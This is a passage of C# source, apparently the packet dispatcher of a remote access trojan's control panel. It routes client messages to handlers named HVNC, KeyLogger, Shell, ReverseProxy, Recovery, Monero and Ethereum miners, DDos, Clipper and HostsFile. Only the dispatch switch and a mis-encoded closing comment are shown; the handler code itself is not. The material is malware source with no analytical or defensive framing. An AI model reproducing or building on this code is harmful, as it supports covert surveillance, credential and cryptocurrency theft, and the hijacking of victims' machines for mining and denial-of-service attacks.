HandlerMicrophone.Read(client, array);
break;
case "SystemSound":
HandlerSystemSound.Read(client, array);
break;
case "Explorer":
HandlerExplorer.Read(client, array);
break;
case "HVNC":
HandlerHVNC.Read(client, array);
break;
case "Process":
HandlerProcess.Read(client, array);
break;
case "Regedit":
HandlerRegedit.Read(client, array);
break;
case "Shell":
HandlerShell.Read(client, array);
break;
case "Netstat":
HandlerNetstat.Read(client, array);
break;
case "KeyLogger":
HandlerKeyLogger.Read(client, array);
break;
case "AutoRun":
HandlerAutoRun.Read(client, array);
break;
case "Service":
HandlerService.Read(client, array);
break;
case "Fun":
HandlerFun.Read(client, array);
break;
case "Chat":
HandlerChat.Read(client, array);
break;
case "ReverseProxy":
HandlerReverseProxy.Read(client, array);
break;
case "ReverseProxyR":
HandlerReverseProxyR.Read(client, array);
break;
case "ReverseProxyU":
HandlerReverseProxyU.Read(client, array);
break;
case "Recovery":
HandlerRecovery.Read(client, array);
break;
case "Recovery1":
HandlerRecovery1.Read(client, array);
break;
case "MinerXmr":
HandlerMinerXmr.Read(client, array);
break;
case "DDos":
HandlerDDos.Read(client, array);
break;
case "Clipper":
HandlerClipper.Read(client, array);
break;
case "Window":
HandlerWindow.Read(client, array);
break;
case "KeyLoggerPanel":
HandlerKeyLoggerPanel.Read(client, array);
break;
case "Programs":
HandlerPrograms.Read(client, array);
break;
case "Clipboard":
HandlerClipboard.Read(client, array);
break;
case "BotSpeaker":
HandlerBotSpeaker.Read(client, array);
break;
case "HostsFile":
HandlerHostsFile.Read(client, array);
break;
case "Notepad":
HandlerNotepad.Read(client, array);
break;
case "Volume":
HandlerVolume.Read(client, array);
break;
case "DeviceManager":
HandlerDeviceManager.Read(client, array);
break;
case "Performance":
HandlerPerformance.Read(client, array);
break;
case "FileSearcher":
HandlerFileSearcher.Read(client, array);
break;
case "MinerEtc":
HandlerMinerEtc.Read(client, array);
break;
case "SendDiskGet":
HandlerSendDiskGet.Read(client, array);
break;
case "SendMemoryGet":
HandlerSendMemoryGet.Read(client, array);
break;
case "Map":
HandlerMap.Read(client, array);
break;
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
}
// --- ÊÎÍÅÖ ÔÀÉËÀ Packet.cs ---